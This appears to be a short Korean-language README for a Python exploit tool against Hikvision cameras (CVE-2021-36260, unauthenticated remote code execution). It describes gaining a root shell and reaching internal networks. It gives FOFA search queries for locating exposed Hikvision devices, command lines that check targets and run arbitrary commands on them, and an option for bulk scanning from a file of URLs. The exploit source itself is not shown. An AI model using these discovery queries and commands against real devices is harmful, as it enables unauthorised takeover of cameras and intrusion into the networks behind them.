Hikvision CVE-2021-36260 RCE 취약점

취약점 설명

공격자는 이 취약점을 이용하여 제한된 보호 셸(psh)에 얽매인 장치 소유자와 관계없이 무제한 루트 셸로 장치를 완전히 제어할 수 있습니다. IP 카메라 침입 외에도 내부 네트워크에 접근하여 공격할 수 있습니다.

FOFA

header="Hikvision"			 
app="HIKVISION-视频监控"

사용 방법

python ./CVE-2021-36260.py -u http://192.168.1.1:8080 --check
python ./CVE-2021-36260.py -u http://192.168.1.1:8080 --cmd "ls -la"
python ./CVE-2021-36260.py -f target.txt

optional arguments:
  -h, --help            show this help message and exit
  -u URL, --url URL     Start scanning url
  -f FILE, --file FILE  read the url from the file
  --check               Check if vulnerable
  --cmd CMD             execute cmd (i.e: "ls -l")

일괄적으로 src를 스캔할 수 있습니다.

hikvision-unauthenticated-rce-cve-2021-36260

인기